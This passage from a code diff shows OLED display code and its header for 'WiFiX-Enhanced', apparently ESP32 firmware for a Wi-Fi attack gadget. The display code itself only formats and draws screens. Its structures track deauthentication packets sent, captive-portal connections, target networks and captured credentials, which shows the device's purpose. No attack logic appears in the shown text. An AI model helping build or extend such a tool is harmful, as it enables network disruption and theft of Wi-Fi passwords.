display->drawCircle(x, y, pulse_radius, SSD1306_WHITE);
|
||||
}
|
||||
|
||||
String OLEDDisplay::formatUptime(uint32_t seconds) {
|
||||
uint32_t days = seconds / 86400;
|
||||
uint32_t hours = (seconds % 86400) / 3600;
|
||||
uint32_t minutes = (seconds % 3600) / 60;
|
||||
|
||||
if (days > 0) {
|
||||
return String(days) + "d " + String(hours) + "h";
|
||||
} else if (hours > 0) {
|
||||
return String(hours) + "h " + String(minutes) + "m";
|
||||
} else {
|
||||
return String(minutes) + "m " + String(seconds % 60) + "s";
|
||||
}
|
||||
}
|
||||
|
||||
String OLEDDisplay::formatMemory(uint32_t bytes) {
|
||||
if (bytes >= 1024 * 1024) {
|
||||
return String(bytes / (1024 * 1024)) + "MB";
|
||||
} else if (bytes >= 1024) {
|
||||
return String(bytes / 1024) + "KB";
|
||||
} else {
|
||||
return String(bytes) + "B";
|
||||
}
|
||||
}
|
||||
|
||||
String OLEDDisplay::formatDuration(uint32_t seconds) {
|
||||
if (seconds >= 3600) {
|
||||
return String(seconds / 3600) + "h " + String((seconds % 3600) / 60) + "m";
|
||||
} else if (seconds >= 60) {
|
||||
return String(seconds / 60) + "m " + String(seconds % 60) + "s";
|
||||
} else {
|
||||
return String(seconds) + "s";
|
||||
}
|
||||
}
|
||||
|
||||
String OLEDDisplay::truncateString(const String& str, int max_chars) {
|
||||
if (str.length() <= max_chars) {
|
||||
return str;
|
||||
} else {
|
||||
return str.substring(0, max_chars - 3) + "...";
|
||||
}
|
||||
}
|
||||
|
||||
void OLEDDisplay::drawCenteredText(const String& text, int y) {
|
||||
int text_width = text.length() * 6; // Approximate width for size 1
|
||||
int x = (SCREEN_WIDTH - text_width) / 2;
|
||||
display->setCursor(x, y);
|
||||
display->print(text);
|
||||
}
|
||||
|
||||
void OLEDDisplay::drawRightAlignedText(const String& text, int x, int y) {
|
||||
int text_width = text.length() * 6;
|
||||
display->setCursor(x - text_width, y);
|
||||
display->print(text);
|
||||
}
|
||||
|
||||
void OLEDDisplay::drawWrappedText(const String& text, int x, int y, int max_width) {
|
||||
int chars_per_line = max_width / 6; // Approximate characters per line
|
||||
int current_y = y;
|
||||
|
||||
for (int i = 0; i < text.length(); i += chars_per_line) {
|
||||
String line = text.substring(i, min((int)text.length(), i + chars_per_line));
|
||||
display->setCursor(x, current_y);
|
||||
display->println(line);
|
||||
current_y += 8;
|
||||
|
||||
if (current_y >= SCREEN_HEIGHT - 8) break; // Don't overflow screen
|
||||
}
|
||||
}
|
||||
|
||||
void OLEDDisplay::printStatus() {
|
||||
OLED_LOG_F("Current page: %d", current_page);
|
||||
OLED_LOG_F("Auto rotate: %s", auto_rotate ? "enabled" : "disabled");
|
||||
OLED_LOG_F("Display enabled: %s", display_enabled ? "yes" : "no");
|
||||
OLED_LOG_F("Brightness: %d", brightness);
|
||||
OLED_LOG_F("Attack status: %d", attack_info.status);
|
||||
OLED_LOG_F("Credentials captured: %d", attack_info.credentials_captured);
|
||||
}
|
||||
|
||||
void OLEDDisplay::testDisplay() {
|
||||
OLED_LOG("Testing display...");
|
||||
|
||||
for (int page = 0; page < PAGE_COUNT; page++) {
|
||||
setPage((DisplayPage)page);
|
||||
update();
|
||||
delay(2000);
|
||||
}
|
||||
|
||||
OLED_LOG("Display test completed");
|
||||
}
|
||||
193
WiFiX-Enhanced/src/oled_display.h
Normal file
193
WiFiX-Enhanced/src/oled_display.h
Normal file
@@ -0,0 +1,193 @@
|
||||
#ifndef OLED_DISPLAY_H
|
||||
#define OLED_DISPLAY_H
|
||||
|
||||
#include <Arduino.h>
|
||||
#include <Wire.h>
|
||||
#include <Adafruit_GFX.h>
|
||||
#include <Adafruit_SSD1306.h>
|
||||
#include <WiFi.h>
|
||||
|
||||
// Display configuration
|
||||
#define SCREEN_WIDTH 128
|
||||
#define SCREEN_HEIGHT 64
|
||||
#define OLED_RESET -1
|
||||
#define SCREEN_ADDRESS 0x3C
|
||||
|
||||
// Display pages
|
||||
enum DisplayPage {
|
||||
PAGE_BOOT = 0,
|
||||
PAGE_MAIN_STATUS,
|
||||
PAGE_ATTACK_STATUS,
|
||||
PAGE_CREDENTIAL_COUNT,
|
||||
PAGE_NETWORK_INFO,
|
||||
PAGE_SYSTEM_INFO,
|
||||
PAGE_ERROR,
|
||||
PAGE_COUNT
|
||||
};
|
||||
|
||||
// Attack status types
|
||||
enum AttackStatus {
|
||||
ATTACK_IDLE = 0,
|
||||
ATTACK_SCANNING,
|
||||
ATTACK_DEAUTH_ACTIVE,
|
||||
ATTACK_PORTAL_ACTIVE,
|
||||
ATTACK_SUCCESS,
|
||||
ATTACK_FAILED
|
||||
};
|
||||
|
||||
// System status
|
||||
struct SystemStatus {
|
||||
bool esp32_online;
|
||||
bool bw16_online;
|
||||
bool ai_online;
|
||||
bool wifi_connected;
|
||||
uint8_t wifi_signal;
|
||||
uint32_t uptime;
|
||||
uint32_t free_memory;
|
||||
float cpu_usage;
|
||||
uint8_t temperature;
|
||||
};
|
||||
|
||||
// Attack information
|
||||
struct AttackInfo {
|
||||
AttackStatus status;
|
||||
String target_ssid;
|
||||
String target_bssid;
|
||||
uint8_t target_channel;
|
||||
uint32_t deauth_packets_sent;
|
||||
uint32_t portal_connections;
|
||||
uint32_t credentials_captured;
|
||||
uint32_t attack_duration;
|
||||
float success_rate;
|
||||
String last_error;
|
||||
};
|
||||
|
||||
// Network information
|
||||
struct NetworkInfo {
|
||||
String ap_ssid;
|
||||
String ap_password;
|
||||
IPAddress ap_ip;
|
||||
uint8_t connected_clients;
|
||||
String sta_ssid;
|
||||
IPAddress sta_ip;
|
||||
uint8_t nearby_networks;
|
||||
};
|
||||
|
||||
class OLEDDisplay {
|
||||
private:
|
||||
Adafruit_SSD1306* display;
|
||||
DisplayPage current_page;
|
||||
uint32_t last_update;
|
||||
uint32_t page_switch_time;
|
||||
bool auto_rotate;
|
||||
uint8_t brightness;
|
||||
bool display_enabled;
|
||||
|
||||
// Status data
|
||||
SystemStatus system_status;
|
||||
AttackInfo attack_info;
|
||||
NetworkInfo network_info;
|
||||
|
||||
// Animation variables
|
||||
uint8_t animation_frame;
|
||||
uint32_t last_animation;
|
||||
bool blink_state;
|
||||
|
||||
// Display methods
|
||||
void drawBootScreen();
|
||||
void drawMainStatus();
|
||||
void drawAttackStatus();
|
||||
void drawCredentialCount();
|
||||
void drawNetworkInfo();
|
||||
void drawSystemInfo();
|
||||
void drawErrorScreen();
|
||||
|
||||
// Helper methods
|
||||
void drawHeader(const char* title);
|
||||
void drawFooter();
|
||||
void drawProgressBar(int x, int y, int width, int height, float progress);
|
||||
void drawSignalBars(int x, int y, uint8_t signal_strength);
|
||||
void drawBattery(int x, int y, uint8_t level);
|
||||
void drawWiFiIcon(int x, int y, bool connected);
|
||||
void drawStatusIcon(int x, int y, bool status, const char* icon);
|
||||
void drawScrollingText(int x, int y, const String& text, int max_width);
|
||||
|
||||
// Animation methods
|
||||
void updateAnimations();
|
||||
void drawLoadingAnimation(int x, int y);
|
||||
void drawPulseAnimation(int x, int y, int radius);
|
||||
|
||||
// Text formatting
|
||||
String formatUptime(uint32_t seconds);
|
||||
String formatMemory(uint32_t bytes);
|
||||
String formatDuration(uint32_t seconds);
|
||||
String truncateString(const String& str, int max_chars);
|
||||
|
||||
public:
|
||||
OLEDDisplay();
|
||||
~OLEDDisplay();
|
||||
|
||||
// Initialization
|
||||
bool begin(uint8_t i2c_address = SCREEN_ADDRESS);
|
||||
void setBrightness(uint8_t brightness);
|
||||
void setAutoRotate(bool enable);
|
||||
void enable(bool enabled);
|
||||
|
||||
// Page management
|
||||
void setPage(DisplayPage page);
|
||||
void nextPage();
|
||||
void previousPage();
|
||||
DisplayPage getCurrentPage() const { return current_page; }
|
||||
|
||||
// Status updates
|
||||
void updateSystemStatus(const SystemStatus& status);
|
||||
void updateAttackInfo(const AttackInfo& info);
|
||||
void updateNetworkInfo(const NetworkInfo& info);
|
||||
|
||||
// Quick status updates
|
||||
void setAttackStatus(AttackStatus status, const String& target = "");
|
||||
void setCredentialCount(uint32_t count);
|
||||
void setError(const String& error);
|
||||
void clearError();
|
||||
|
||||
// Display control
|
||||
void update();
|
||||
void clear();
|
||||
void showMessage(const String& message, uint32_t duration_ms = 2000);
|
||||
void showProgress(const String& message, float progress);
|
||||
|
||||
// Utility methods
|
||||
void drawCenteredText(const String& text, int y);
|
||||
void drawRightAlignedText(const String& text, int x, int y);
|
||||
void drawWrappedText(const String& text, int x, int y, int max_width);
|
||||
|
||||
// Debug methods
|
||||
void printStatus();
|
||||
void testDisplay();
|
||||
};
|
||||
|
||||
// Global instance
|
||||
extern OLEDDisplay oledDisplay;
|
||||
|
||||
// Convenience macros
|
||||
#define OLED_LOG(msg) Serial.println("[OLED] " + String(msg))
|
||||
#define OLED_LOG_F(fmt, ...) Serial.printf("[OLED] " fmt "\n", ##__VA_ARGS__)
|
||||
|
||||
// Display update intervals (ms)
|
||||
#define DISPLAY_UPDATE_INTERVAL 100
|
||||
#define PAGE_AUTO_SWITCH_INTERVAL 5000
|
||||
#define ANIMATION_UPDATE_INTERVAL 200
|
||||
|
||||
// Icons (8x8 bitmaps)
|
||||
extern const unsigned char PROGMEM icon_wifi_connected[];
|
||||
extern const unsigned char PROGMEM icon_wifi_disconnected[];
|
||||
extern const unsigned char PROGMEM icon_bluetooth[];
|
||||
extern const unsigned char PROGMEM icon_lora[];
|
||||
extern const unsigned char PROGMEM icon_zigbee[];
|
||||
extern const unsigned char PROGMEM icon_attack[];
|
||||
extern const unsigned char PROGMEM icon_shield[];
|
||||
extern const unsigned char PROGMEM icon_warning[];
|
||||
extern const unsigned char PROGMEM icon_success[];
|
||||
extern const unsigned char PROGMEM icon_error[];
|
||||
|
||||
#endif // OLED_DISPLAY_H
|
||||
Reference in New Issue
Block a user